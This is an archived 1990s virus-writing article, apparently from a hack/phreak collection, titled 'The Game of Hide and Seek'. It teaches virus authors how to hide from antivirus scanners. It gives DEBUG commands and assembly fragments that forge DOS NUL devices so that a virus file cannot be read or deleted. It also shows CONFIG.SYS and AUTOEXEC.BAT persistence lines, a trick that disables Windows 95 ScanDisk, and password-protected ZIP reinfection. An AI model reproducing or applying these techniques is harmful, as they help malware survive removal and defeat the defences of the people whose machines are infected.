home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / QMUPDAT7.ZIP / HIDESEEK.TXT < prev    next >
Text File  |  1997-07-08  |  11KB  |  274 lines

  1.  
  2. The Game of "Hide and Seek"
  3.  
  4. ------------------------------------------------------------------------------
  5.  
  6. It is a game of one-up-man-ship between the VX and the AV community.  VX seems
  7. to be winning this battle but is also forcing improvements.  VX creates virus.
  8. AV creates scan strings.  VX creates mutation.  AV creates smart detectors.
  9. VX creates stealth.  AV counters that with direct access.  VX creates
  10. tunneling.  AV stops that.  VX creates tracing.  AV stumbles.  VX creates
  11. retro.  AV stumbles.  VX creates Stop AV from memory scanning.  AV stumbles.
  12. VX creates macro viruses.  AV goes nuts.  VX creates new places to hide from
  13. AV.  AV will probably stumble again.
  14.  
  15. ------------------------------------------------------------------------------
  16.  
  17. Hide in NUL-Space:
  18.  
  19. Wouldn't it be great to hide in a file that could not be accessed.  You can.
  20. There are little things called device drivers in your PC.  COM1, COM2, LPT1
  21. and CON are examples.  NUL is also a device that serves little purpose
  22. except to do nothing.  An example of this:  COPY *.* NUL will read all the
  23. files for errors and copy them into NUL-Space (nowhere.)  Try to create a
  24. file by the name of NUL, you can't.  But what if there was a file by the name
  25. of NUL, what could you do with it?  An experiment is necessary.
  26.  
  27. ------------------------------------------------------------------------------
  28.  
  29. C:\>debug
  30. -a
  31. mov ah,52
  32. int 21
  33. int 3
  34.  
  35. -g
  36. AX=5200  BX=0026  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
  37. DS=0C9C  ES=00C9  SS=0C9C  CS=0C9C  IP=0104   NV UP EI PL NZ NA PO NC
  38. 0C9C:0104 CC            INT     3
  39. -
  40.  
  41. ES:BX points to the DOS list of lists.  From Ralf Browns interrupt list:
  42. Format of List of Lists:
  43. Offset    Size    Description
  44.  00h    DWORD    pointer to first Drive Parameter Block
  45.  04h    DWORD    -> first System File Table
  46.  08h    DWORD    pointer to active CLOCK$ device's header
  47. ...
  48. ...
  49.  22h 18 BYTEs    actual NUL device driver header (not a pointer!)
  50.         NUL is always the first device on DOS's linked list of device
  51.           drivers.
  52.  
  53. ES:BX+22h is what is of interest.  Back to debug.
  54. -d es:48l12
  55. 00C9:0040                          00 00 A6 C9 04 80 C7 0D           ........
  56. 00C9:0050  CD 0D 4E 55 4C 20 20 20-20 20                     ..NUL     
  57.  
  58. See the word NUL at es:bx+2Ch.  Lets change it to AUTOEXEC.
  59. -e es:52 "AUTOEXEC"
  60. -q
  61.  
  62. Back to DOS.
  63. C:\>type c:\autoexec.bat
  64.  
  65. C:\>ren c:\autoexec.bat test.bat
  66. Path not found
  67.  
  68. C:\>del c:\autoexec.bat
  69. Access denied
  70.  
  71. ------------------------------------------------------------------------------
  72.  
  73. Notice what happened when AUTOEXEC.BAT was in NUL-Space.  It could not be
  74. read, renamed or deleted.  Wouldn't this be a great way to protect your virus.
  75. Ralf Browns list showed that the actual NUL device was only 18 bytes long.
  76. Could you just make another 18 byte NUL device by another name?  The answer
  77. is YES!  Here is the device format from Ralf Brown:
  78.  
  79. Format of DOS device driver header:
  80. Offset    Size    Description
  81.  00h    DWORD    pointer to next driver, offset=FFFFh if last driver
  82.  04h    WORD    device attributes (see below)
  83.  06h    WORD    device strategy entry point
  84.         call with ES:BX -> request header
  85.  08h    WORD    device interrupt entry point
  86.  0Ah  8 BYTEs    blank-padded character device name
  87.  
  88. Bitfields for device attributes:
  89. Bit(s)    Description
  90.  15    set (indicates character device)
  91.  14    IOCTL supported
  92.  13    (DOS 3.0+) output until busy supported
  93.  12    reserved
  94.  11    (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported
  95.  10-8    reserved
  96.  7    (DOS 5.0+) Generic IOCTL check call supported
  97.  6    (DOS 3.2+) Generic IOCTL call supported
  98.  5    reserved
  99.  4    device is special (use INT 29 "fast console output")
  100.  3    device is CLOCK$
  101.  2    device is NUL
  102.  1    device is standard output
  103.  0    device is standard input
  104.  
  105. From the Debug experiment:
  106.  
  107. -d es:48l12
  108. 00C9:0040                          00 00 A6 C9 04 80 C7 0D           ........
  109. 00C9:0050  CD 0D 4E 55 4C 20 20 20-20 20                     ..NUL     
  110.  
  111. ------------------------------------------------------------------------------
  112.  
  113. We see that the next device in the chain is at C9A6:0000h, attributes are
  114. 8004h and that the strategy and interrupt entry points are 00C9:0DC7 and
  115. 00C9:0DCD.  The strategy and interrupt points for a NUL device just need to
  116. point to a RETF (they really could point anywhere since they are not used.)
  117.  
  118. To make our own NUL device we can do something like this:
  119.  
  120. ...
  121. ...
  122.                 mov     ah,52h          ;get list of lists
  123.                 int     21h
  124.                 cld                     ;get address of next device in ds:si
  125.                 lds     si,dword ptr es:[bx+22h]
  126.                 push    cs              ;point to our device
  127.                 pop     es
  128.                 mov     di,offset virus_device
  129.                 movsw                   ;copy device chain to our device
  130.                 movsw                   ;then hook in our device
  131.                 mov     word ptr ds:[si-02h],cs
  132.                 mov     word ptr ds:[si-04h],offset virus_device
  133. ...
  134. ...
  135. virus_device    dd      -1h
  136.                 dw      8004h           ;NUL character attributes
  137.                 dw      return_far      ;strategy pointer
  138.                 dw      return_far      ;interrupt pointer
  139.                 db      "VIRUS   "      ;any file name your want in NUL-Space
  140. ...
  141. ...
  142. return_far:     retf
  143.  
  144. ------------------------------------------------------------------------------
  145.  
  146. When your virus starts, have your virus create a first generation virus whose
  147. host is the standard CD 20 (terminate immediately) before it starts infecting.
  148. Name that virus C:\FDGDIKGA.PKB (pseudo random name and extension but should
  149. be same for all infections on that PC)  This name could be derived from the
  150. Drive C: serial number:
  151.  
  152. ...
  153. ...
  154.                 mov     ax,6900h        ;get drive serial number
  155.                 mov     bx,0003h        ;drive C:
  156.                 push    cs
  157.                 pop     ds
  158.                 mov     dx,offset info  ;point to where serial number will be
  159.                 int     21h
  160. ;create file name from the drive C: serial number
  161.                 cld
  162.                 mov     si,offset serialnumber
  163.                 mov     di,offset device_name
  164.                 mov     cx,0004h        ;loop 4 times
  165. get_serial:     lodsb                   ;get start of serial number
  166.                 push    cx
  167.                 mov     cl,04h          ;inner loop 4 times
  168. make_file:      sub     al,cl
  169.                 ror     al,cl           ;pseudo random letter
  170.                 mov     bl,al
  171.                 and     bl,0fh
  172.                 add     bl,"A"          ;create letter from A to P
  173.                 mov     byte ptr ds:[di],bl
  174.                 inc     di              ;save it and move pointer
  175.                 loop    make_file
  176.                 pop     cx
  177.                 loop    get_serial
  178.                 mov     byte ptr ds:[file_dot],"."      ;restore dot
  179.                 mov     byte ptr ds:[asciz_nul],00h     ;restore nul
  180.                 mov     dx,offset file_name
  181. ;now create virus by name at DS:DX
  182. ...
  183. ...
  184. info            dw      0
  185. serialnumber    dd      0               ;drive C: serial number
  186.                 db      19 dup(0)       ;misc junk
  187. file_name       db      "C:\"
  188. device_name     db      "VIRUS000"      ;pseudo virus name goes here
  189. file_dot        db      ".000"          ;with pseudo extension
  190. asciz_nul       db      00h,00h,00h
  191.  
  192. ------------------------------------------------------------------------------
  193.  
  194. Hide it with the System and Hidden attribute, maybe even Read-Only.  Now
  195. create a NUL device by the name of FDGDIKGA (same as pseudo random file name.)
  196. Add this line to CONFIG.SYS:  INSTALL=C:\FDGDIKGA.PKB   Now start infecting.
  197. Go memory resident (you really only need to have the 18 bytes of your NUL
  198. device resident.)  What will now happen is magic.  When the PC reboots there
  199. will load a program that doesn't have an executable extension so most AV
  200. programs won't even try to scan it.  If they do they won't be able to read
  201. it or delete it because it is in NUL-Space.  The AV people will be able to
  202. add the scan string for your virus and remove all the children created by it
  203. but they will not get the virus in NUL-Space.  It will continue to infect
  204. again and again.  Maybe only have it infect on Fridays or on the 13th of
  205. each month so it will appear that the virus has gone away but later it
  206. magically returns.
  207.  
  208. ------------------------------------------------------------------------------
  209.  
  210. Hiding in NUL-Space and Windows 95:
  211.  
  212. It works just fine with one notable exception; SCANDSKW.EXE that is
  213. automatically launched by the System Agent detects that there is a device by
  214. the same name as a file and will flag it.  The solution is simple.  Create
  215. another NUL device by the name of SCANDSKW.  This stops SCANDSKW from working
  216. but doesn't flag an error.
  217.  
  218. ------------------------------------------------------------------------------
  219.  
  220. Note:  When going resident with the 18 byte NUL device, you might want to put
  221. it in the same location as the AUX device.  This device is never ever used
  222. and is just wasting space.  AUX is a another name for COM1.  PRN could be used
  223. but some older programs actually use it.  LPT3's 18 bytes also could be used.
  224. The way to find the AUX device is to search the device chain:
  225.  
  226.                 mov     ah,52h                  ;get list of lists
  227.                 int     21h
  228.                 add     bx,22h                  ;point to NUL device
  229. check_end:      cmp     word ptr es:[bx],-1     ;end of chain?
  230.                 je      end_chain
  231.                 cmp     word ptr es:[bx+0ah],"UA"
  232.                 jne     next_device             ;Look for "AUX "
  233.                 cmp     word ptr es:[bx+0ch]," X"
  234.                 jne     next_device
  235. ...
  236. ...
  237. ;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want.
  238. ...
  239. ...
  240.                 mov     word ptr es:[bx+04h],8004h      ;set NUL device
  241.                 jmp     short end_chain
  242. next_device:    les     bx,dword ptr es:[bx]    ;get next device in chain
  243.                 jmp     short check_end
  244. end_chain:
  245.  
  246. To see the power of NUL-Space, try this in Windows 95:  md\"NUL           "
  247. It locks the computer completely up.
  248.  
  249. ------------------------------------------------------------------------------
  250.  
  251. Hide in Cypher Text:
  252.  
  253. PKZIP has the ability to password protect ZIP files.  This can be used to
  254. our advantage.  Have the virus run this:
  255. PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM
  256. And add this to the AUTOEXEC.BAT:
  257. @ECHO OFF
  258. PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP
  259. C:\VIRUS.COM
  260. This will allow multiple reinfections but the source will not be found with
  261. a virus scanner because it will not be able to expand the ZIP file.
  262.  
  263. ------------------------------------------------------------------------------
  264.  
  265. If this is over your head, save it and come back to it when you are smarter.
  266. Have fun in NUL-Space.
  267.  
  268. Dear AV community,
  269. You are in check!
  270. It is now your move.
  271.  
  272. "Q" the Misanthrope
  273.  
  274.